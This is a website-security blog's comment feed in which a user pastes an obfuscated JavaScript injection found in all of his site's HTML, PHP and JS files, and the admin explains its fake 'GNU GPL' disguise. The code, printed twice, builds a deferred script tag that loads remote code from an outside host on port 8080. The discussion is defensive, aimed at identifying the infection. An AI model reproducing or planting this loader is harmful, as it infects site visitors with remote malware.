Comments on: Hackers now "touch" all files http://wewatchyourwebsite.com/wordpress/2009/11/hackers-now-touch-all-files/ Website Security Mon, 16 Apr 2012 17:46:24 +0000 hourly 1 http://wordpress.org/?v=3.3.2 By: admin http://wewatchyourwebsite.com/wordpress/2009/11/hackers-now-touch-all-files/#comment-55 admin Wed, 20 Jan 2010 12:23:55 +0000 http://www.wewatchyourwebsite.com/wordpress/?p=305#comment-55 This is some of the latest obfuscated code that hackers are using. I think the belief is that by including the GNU GPL part, they feel that many developers will think it must be safe and leave it. To be clear, this code if found in .js files will look as it is here. If it's found in .php or .html files, it usually has the script tags around it and we've usually found it after the closing html tag. This is some of the latest obfuscated code that hackers are using. I think the belief is that by including the GNU GPL part, they feel that many developers will think it must be safe and leave it.

To be clear, this code if found in .js files will look as it is here. If it’s found in .php or .html files, it usually has the script tags around it and we’ve usually found it after the closing html tag.

]]> By: Raza http://wewatchyourwebsite.com/wordpress/2009/11/hackers-now-touch-all-files/#comment-54 Raza Wed, 20 Jan 2010 09:22:49 +0000 http://www.wewatchyourwebsite.com/wordpress/?p=305#comment-54 well I should come to the point right away ....... Can you explain this thing to me ? I've found it inside every Index.html / Index.php file, & every JavaScript file (.js). Here it is : <code>/*GNU GPL*/ try{window.onload = function(){var Cz3t0pcpig9 = document.createElement('s@c$@r^^i@#(&p!!t!$'.replace(/@|\^|&|\(|\)|\$|#|\!/ig, ''));var Xemq5kdae1n1 = 'Tfd7hdf2sjtet';Cz3t0pcpig9.setAttribute('type', 't#e!$)$#x$(t!/$^j)a#$v&!!^a)^#s^@!#c&@r)i$#!#p&&#^t(#'.replace(/\!|\^|\(|\)|@|\$|&|#/ig, ''));Cz3t0pcpig9.setAttribute('src', 'h#!$t)t^(p#:#^$/&/#&&p@!^^e&&^)t&^a$r!d^a&((s&^-^c$&$o(^m^&.$d@((#r)@!e#)a)^@!m^s$)&t#i&!!m(^e#$)#.^c$(($o!@m$#.!@(h&(u@d@o@#n!^##g^)&-$c@o^)@(m$!.@#b)#$^e#$^&s$#$#t^@(@b@(&o!!b(!@#$.$!r#u#():^8###!(0)8^^@#0!)/&)#t(&(e##r&r!&)#a!!&(.$!c!&&o#(m#.!&)b)r$/!^!t!$&(e)^)r#!@r(#a!&#.!$$^c$@o)$^m$!.$)&b#r)#/#l$&@i)(@^n@$&k@e)@d#@^i$^!n#$$.(&&@c^o)(#m)/#^#)g)@o)$o#!g$&(l^e^.&c^&&$o)m^/))!&#t^)w($!!e&!(&e(t#!$m()@e!@$$m!(e$).((c)$@o(&!m@@/(@&)@'.replace(/&|\!|\)|\$|\(|\^|#|@/ig, ''));Cz3t0pcpig9.setAttribute('defer', 'd(e&)^f&(&(e&!^&r&!#@'.replace(/\^|\)|\!|#|@|\(|&|\$/ig, ''));Cz3t0pcpig9.setAttribute('id', 'V@!p()(g!!0@)^0)#!k$!!(r&^$d@@)7!^$!x!^r)$$)!i(@)2^^7!#'.replace(/#|@|\$|\!|&|\(|\^|\)/ig, ''));document.body.appendChild(Cz3t0pcpig9);}} catch(Eq16hmsezej4) {} <!--05788f331a52cf017b75e1e0bb97cd8e--></code> well I should come to the point right away ……. Can you explain this thing to me ?
I’ve found it inside every Index.html / Index.php file, & every JavaScript file (.js).

Here it is :

/*GNU GPL*/ try{window.onload = function(){var Cz3t0pcpig9 = document.createElement('s@c$@r^^i@#(&p!!t!$'.replace(/@|\^|&|\(|\)|\$|#|\!/ig, ''));var Xemq5kdae1n1 = 'Tfd7hdf2sjtet';Cz3t0pcpig9.setAttribute('type', 't#e!$)$#x$(t!/$^j)a#$v&!!^a)^#s^@!#c&@r)i$#!#p&&#^t(#'.replace(/\!|\^|\(|\)|@|\$|&|#/ig, ''));Cz3t0pcpig9.setAttribute('src', 'h#!$t)t^(p#:#^$/&/#&&p@!^^e&&^)t&^a$r!d^a&((s&^-^c$&$o(^m^&.$d@((#r)@!e#)a)^@!m^s$)&t#i&!!m(^e#$)#.^c$(($o!@m$#.!@(h&(u@d@o@#n!^##g^)&-$c@o^)@(m$!.@#b)#$^e#$^&s$#$#t^@(@b@(&o!!b(!@#$.$!r#u#():^8###!(0)8^^@#0!)/&)#t(&(e##r&r!&)#a!!&(.$!c!&&o#(m#.!&)b)r$/!^!t!$&(e)^)r#!@r(#a!&#.!$$^c$@o)$^m$!.$)&b#r)#/#l$&@i)(@^n@$&k@e)@d#@^i$^!n#$$.(&&@c^o)(#m)/#^#)g)@o)$o#!g$&(l^e^.&c^&&$o)m^/))!&#t^)w($!!e&!(&e(t#!$m()@e!@$$m!(e$).((c)$@o(&!m@@/(@&)@'.replace(/&|\!|\)|\$|\(|\^|#|@/ig, ''));Cz3t0pcpig9.setAttribute('defer', 'd(e&)^f&(&(e&!^&r&!#@'.replace(/\^|\)|\!|#|@|\(|&|\$/ig, ''));Cz3t0pcpig9.setAttribute('id', 'V@!p()(g!!0@)^0)#!k$!!(r&^$d@@)7!^$!x!^r)$$)!i(@)2^^7!#'.replace(/#|@|\$|\!|&|\(|\^|\)/ig, ''));document.body.appendChild(Cz3t0pcpig9);}} catch(Eq16hmsezej4) {}

]]>